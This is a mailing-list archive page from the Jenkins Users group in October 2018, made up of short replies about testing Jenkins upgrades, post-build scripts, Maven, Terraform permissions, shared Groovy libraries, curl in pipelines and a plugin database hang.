We use the Jenkins docker image to try out our upgrades (our actual running
Jenkins is not a containerized version). We have some health jobs that try
out various things on the system (mvn ruby gradle node) by running a job of
each type.

On Wed, Oct 10, 2018 at 04:49  wrote:

> Bit of a broad question here... But i run 3 separate Jenkins environments
> across diff regions on AWS, because I prefer segregation. As my Jenkins
> servers are tightly locked down, I generally dont need to update
> continuously but like to do so every 1-2 months at least.
>
> When it comes to Jenkins updates & Jenkins plugin updates, and making sure
> masters don't break, I have only relied on snapshots. Taking a snap before
> updating the OS Jenkins version and all plugins If anything breaks, I
> rollback.
>
> In 2+ years I have not had to rollback until recently. My staging and
> production Jenkins environments worked fine with the latest updates, but QA
> failed. This environment has recently added a lot more features &
> complexity, with additional plugins/services for automated testing and I
> guess one or more must have broken with the updates.
>
> Oddly, I would normally assume Jenkins itself wouldn't cause things to
> break, it'd more likely to be plugins which warn of non
> backwards-compatible changes and the like. However, in this situation, the
> java ssh process from the master to the slave ceased to work after the
> updates. I had to specify the actual os ssh process, but then builds had
> all kinds of errors.
>
> But I digress, after many attempts at downgrading plugins and changing
> the config, I eventually had to revert to the saved server state for my
> Jenkins QA master. It would seem the method I've been using to test
> updates, whilst it does cover screwups and allows me to rollback, is now
> insufficient for testing for problems beforehand caused by any updates.
> Obviously having jobs fail to deploy costs valuable time and money, so I
> need to improve
>
> I'm wondering if anyone has any recommendations for a workflow for testing
> Jenkins plugin updates for master servers??
>
> I have the slightly annoying issue that I'm using a plugin "SCM Sync
> Configuration Plugin", to version config changes to github. Any snapshots I
> take to spinup a new server for testing, immediately cause problems with
> this for instance -- minor nuisance but this is my point, trying to get a
> nice automated workflow for testing if any updates are going to break
> things.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/ff1ab626-74cb-4f32-8dfc-6e2b41308772%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Ke3_zSw2i-TY08DXLkj00b7j%3DdmAt-%2BB4ZB9%2BYwR%2BocQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Run script before build is deleted?

2018-10-11 Thread Jan Monterrubio
As a post build script, probably.

On Thu, Oct 11, 2018 at 11:35 James Green  wrote:

> Is this possible?
>
> What I would like to do: examine the build and discover if there are any
> docker images. If there are, delete them from the registry first.
>
> Is this feasible?
>
> Thanks,
>
> James
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAMH6%2Bazo%2Bk16XFda7qxzrcfeZvh0_4iKqFK8vK3bLfapN1eszQ%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BS2dT1YfUzo%2Bsd%2BPg%2BS9yCDJHXvGUR19CK3ciSHDq-HA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Maven , Jenkins and pom.xml

2018-10-12 Thread Jan Monterrubio
Maven is a  build automation tool. The pom.xml describes the build and how
to perform it. It’s mostly used for java projects.

Jenkins simply invokes the maven process and adds other nice features on
top.

Jenkins doesn’t decide dependencies, those are all configured by the pom.
So think of Jenkins as a machine that runs builds and describes how to run
a build, as opposed to maven which describes how to build a project.

On Fri, Oct 12, 2018 at 07:57 Rehan Baig  wrote:

> Guys I am newbie here trying to learn CICD using jenkins
>
> I went through pom.xml where we control the build order and provide
> dependencies , the training I saw is an old video, I am curious to know do
> we still use pom.xml to structure our CI and integerate it with jenkisn ?
> Or jenkisn do all the dependencies and build order (down stream or up
> stream)
> Any guidence will be highly appreciated
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAC5m0rM8iMRCeaTW8yECKhG%3DFuc%2BhvK82-6zM5UfXs855tGK2Q%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9J1MgjX%3DPoRBp9BAdZfLoG0JCxtUKXvebSB%3Dbph50Conw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Run script before build is deleted?

2018-10-13 Thread Jan Monterrubio
Would the Post Build actions (execute shell) not execute in the right spot?

https://www.oreilly.com/library/view/jenkins-the-definitive/9781449311155/ch05s07.html


On Fri, Oct 12, 2018 at 09:39 James Green  wrote:

> How so? I need this to run as the build gets expired but as it completes.
>
>
> On Thu, 11 Oct 2018 at 17:58, Jan Monterrubio 
> wrote:
>
>> As a post build script, probably.
>>
>> On Thu, Oct 11, 2018 at 11:35 James Green 
>> wrote:
>>
>>> Is this possible?
>>>
>>> What I would like to do: examine the build and discover if there are any
>>> docker images. If there are, delete them from the registry first.
>>>
>>> Is this feasible?
>>>
>>> Thanks,
>>>
>>> James
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-users+unsubscr...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/CAMH6%2Bazo%2Bk16XFda7qxzrcfeZvh0_4iKqFK8vK3bLfapN1eszQ%40mail.gmail.com
>>> <https://groups.google.com/d/msgid/jenkinsci-users/CAMH6%2Bazo%2Bk16XFda7qxzrcfeZvh0_4iKqFK8vK3bLfapN1eszQ%40mail.gmail.com?utm_medium=email&utm_source=footer>
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>>
> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BS2dT1YfUzo%2Bsd%2BPg%2BS9yCDJHXvGUR19CK3ciSHDq-HA%40mail.gmail.com
>> <https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BS2dT1YfUzo%2Bsd%2BPg%2BS9yCDJHXvGUR19CK3ciSHDq-HA%40mail.gmail.com?utm_medium=email&utm_source=footer>
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAMH6%2BawDi3Ynfc5Fw0tk50JFqown0MU6v%3DurKczUC1FAwGZcWg%40mail.gmail.com
> <https://groups.google.com/d/msgid/jenkinsci-users/CAMH6%2BawDi3Ynfc5Fw0tk50JFqown0MU6v%3DurKczUC1FAwGZcWg%40mail.gmail.com?utm_medium=email&utm_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JQuDoNxcbxCj4bAEJrnuRDUC_k6BM%3DunV2L2_0BT_hOA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jenkins not creating terraform

2018-10-16 Thread Jan Monterrubio
What are the permissions for the directory you’re launching this from?

On Tue, Oct 16, 2018 at 14:14 adrian lee  wrote:

> Hi all,
>
> I have terraform installed in my usr/loca/bin.
>
> I have jenkins stored in as my server and I have created a workspace with
> k8_terraform_oci
>
> Inside this folder, i have created another folder and placed my code
> inside.
>
> So I then triggered a build using but I keep getting a
>
>  [0m [1mInitializing provider plugins... [0m
> - Checking for available provider plugins on https://releases.hashicorp.com...
>  [31m
>  [0m [1m [31mError installing provider "oci": failed to create plugin dir 
> .terraform/plugins/linux_amd64: mkdir .terraform: permission denied. [0m [31m
>
>
>
> Does anyone know?
>
>
> Please help.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/dc3b5422-305d-48dc-8fc3-9755c5148af2%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LFb13%2BhNcCeYv0cFrnGCEiDYCfiONxgGwtmiAorNry0g%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Shared groovy library frustration

2018-10-16 Thread Jan Monterrubio
Are you missing the @Library import in your pipeline?  Or does your shared
library have a load implicitly declared?

https://jenkins.io/doc/book/pipeline/shared-libraries/



On Tue, Oct 16, 2018 at 14:49 Peter Berghold 
wrote:

> Here is a tree of a very simple "library" I set up:
>
> ├── build.xml
> ├── manifest.mf
> ├── nbproject
> │   ├── build-impl.xml
> │   ├── genfiles.properties
> │   ├── groovy-build.xml
> │   ├── private
> │   │   ├── config.properties
> │   │   ├── private.properties
> │   │   └── private.xml
> │   ├── project.properties
> │   └── project.xml
> └── src
> ├── net
> │   └── berghold
> │   └── MainTest.groovy
> └── SimpleGroovyScript.groovy
>
>
> Most important of which is under "src" with the class MainTest
>
> Here is the class itself:
>
> /*
>  * To change this license header, choose License Headers in Project
> Properties.
>  * To change this template file, choose Tools | Templates
>  * and open the template in the editor.
>  */
>
> package net.berghold
>
> /**
>  *
>  * @author peter
>  */
> class MainTest implements Serializable {
> def Object context
>
> def void runme(){
> context.sh('echo foobar')
> }
> }
>
> so far nothing earth shattering.  I've set up this shared library in the
> main Jenkins setup menu.   Should be groovy so far  but it isn't
>
> Here is a simple pipeline I set up to test this:
>
> import net.berghold.MainTest
>
> node('master'){
> step('run test'){
> def MainTest mt = new MainTest(context: this)
>
> mt.runme()
> }
> }
>
> When I try to "build" this I get the following error to the console:
>
> Running in Durability level: MAX_SURVIVABILITY
> org.codehaus.groovy.control.MultipleCompilationErrorsException: startup 
> failed:
> WorkflowScript: 1: unable to resolve class net.berghold.MainTest
>  @ line 1, column 1.
>import net.berghold.MainTest
>^
>
> 1 error
>
>
> to me that implies the library is not being loaded for reasons I just
> don't get.
>
> Things I tried:
>
> I actually told it to implicitly load this library but it now complains
> that it needs a version.  I told it "master" and it claims it can't find
> that version.   I tried */master refs/master and a few other things I know
> exist and the error came back that it could not validate the version with a
> null pointer error under the details.
>
> Has this functionality been broken?
>
> Running Jenkins 2.147.   This all used to work.  This example is a pared
> down version and the original shared libs that worked no longer work and
> I'm a bit concerned.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAArvnv3tBnk9B3Xm4Z2vug%2BNCv92822k5H70xRm_%3D-DW7jdhKg%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KYK0pAY5bvo%2BdXEVW8mAZ2nx%3DNGOhyggwKdm1ajGXp5w%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Testing shared libraries locally

2018-10-16 Thread Jan Monterrubio
We unit test ours:
https://relaxdiego.com/2018/02/jenkins-on-jenkins-shared-libraries.html

On Tue, Oct 16, 2018 at 18:24 Hari Phaneendra  wrote:

> Hi,
> I am looking for ideas on how to test shared libraries locally without
> having to push my changes to github and have my local jenkins point to the
> remote repo? Is it possible to setup jenkins to look for shared libraries
> on local absolute paths?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/a2aeec0e-55d1-4ef7-b7d5-a1bfa667bc4f%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Ksb-vDJgq2HExxuW84QhPphv30b%2B4LBq-R%2BgFqmG%2B64Q%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: curl syntax to send and receive REST Service API response (xml) from jenkins

2018-10-16 Thread Jan Monterrubio
Do you know how to get the response with just curl?

If so I think you can have a step in the pipeline that’s a script curl
YOUR_OTHER_STUFF’


pipeline {

agent any

stages {

stage('Example') {

steps {

curl 'Your call here'

}

}

}

}


On Tue, Oct 16, 2018 at 22:09 panneerrselvam natarajan 
wrote:

> Hi All,
>
> I need to execute the test suite using jenkins pipeline, The test suites
> which has developed using pega (REST service API). Please do let me know
> syntax to get the xml based response.
>
> Regards
> Panneer
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/8950b629-48b7-4441-a37f-29880fb25410%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BLQYuVDmKi5iFRD1gXGOnSO0F9SOE%2Brv%2BXXhm6LfRL7w%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: ???,??,

2018-10-18 Thread Jan Monterrubio
?

On Thu, Oct 18, 2018 at 11:13 Ramanathan Muthaiah 
wrote:

>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAGBd0eqYH4RC-JQ%2BpD70urJVMwMtqmER0M6oA7L1rUHY-kWS7g%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BgMoyhDm4rVaHGtJiA0-C5wJEfVPzGbuJoN9gJWxbA%2BQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Github branch source plugin: ignore archived repos

2018-10-18 Thread Jan Monterrubio
I assume you’re using something like an Organization Folder that’s scanning
those?



On Thu, Oct 18, 2018 at 08:43 Denis  wrote:

> As a workaround you could rename the Jenkinsfile on those repositories to
> something like Jenkinsfile_ar
>
>
> On October 18, 2018 10:48:41 AM GMT+03:00, "Louis Piët" <
> louis.p...@gmail.com> wrote:
>>
>> Hi,
>>
>> We are using the git hub branch source plug in to automatically discovery
>> most of our projects on github, this works like a charm, however we are
>> running into an issue with archived repos. These are read only and only
>> kept for reference/auditors, if they  contain a Jenkisfile however, they
>> are still picked up by the plugin and processed as if live. As the
>> dependencies and such are all very stale this leads to failures and
>> unnecessary noise in our build reports. I can't find a way to tell the
>> plugin to ignore archived repos ( and couldn;t find an issue regarding this
>> in the jira either).
>>
>> Am i overlooking an option? Is there a workaround i'm not seeing?
>>
>> Thanks,
>>
>> Louis
>>
>>
> --
> Sent from my Android device with K-9 Mail. Please excuse my brevity.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/258EEE7D-E8EC-49C9-A24A-DB8EEFFDD02C%40gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JYRuF9%3DE_CbvADzEJ1_C4-kA69nfEACC-nN42MY0s-Aw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: pipeline-maven-plugin stucks

2018-10-23 Thread Jan Monterrubio
What version of workflow cps are you using?

On Tue, Oct 23, 2018 at 16:54 Dan Tran  wrote:

> Hi
>
> We are experiencing all build hangs at the end and the stack trace shows
>
> Running 
> CpsFlowExecution[Owner[ecdm/ecdm-projects/ecdm/future%2Fmiles/59:ecdm/ecdm-projects/ecdm/future%2Fmiles
>  #59]]
>   at org.h2.jdbcx.JdbcConnectionPool.getConnection()Ljava/sql/Connection; 
> (JdbcConnectionPool.java:196)
>   at 
> org.jenkinsci.plugins.pipeline.maven.dao.PipelineMavenPluginH2Dao.getOrCreateBuildPrimaryKey(Ljava/lang/String;I)J
>  (PipelineMavenPluginH2Dao.java:369)
>   at 
> org.jenkinsci.plugins.pipeline.maven.dao.PipelineMavenPluginH2Dao.recordParentProject(Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V
>  (PipelineMavenPluginH2Dao.java:177)
>   at 
> org.jenkinsci.plugins.pipeline.maven.dao.PipelineMavenPluginMonitoringDao.recordParentProject(Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V
>  (PipelineMavenPluginMonitoringDao.java:45)
>   at 
> org.jenkinsci.plugins.pipeline.maven.publishers.PipelineGraphPublisher.recordParentProject(Ljava/util/List;Ljava/util/List;Lhudson/model/Run;Lhudson/model/TaskListener;Lorg/jenkinsci/plugins/pipeline/maven/dao/PipelineMavenPluginDao;)V
>  (PipelineGraphPublisher.java:133)
>
>
> and teh embbeded H2 database size is abut 350M.  is it a sign of scaling 
> issue since we have pipelines which host  main and PR builds for a large 
> maven project with many modules
>
>
> A restart jenkins every 2 hours is needed
>
>
> Suggestion is greatly apprecicated
>
>
> -D
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/30bb41c9-8dc5-4762-bdcb-82ef0a667496%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LLn1f3POGZzyZhRPAW_kfqbkwsb%2B7j5uC0upPCcRLr4g%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


  1   2   >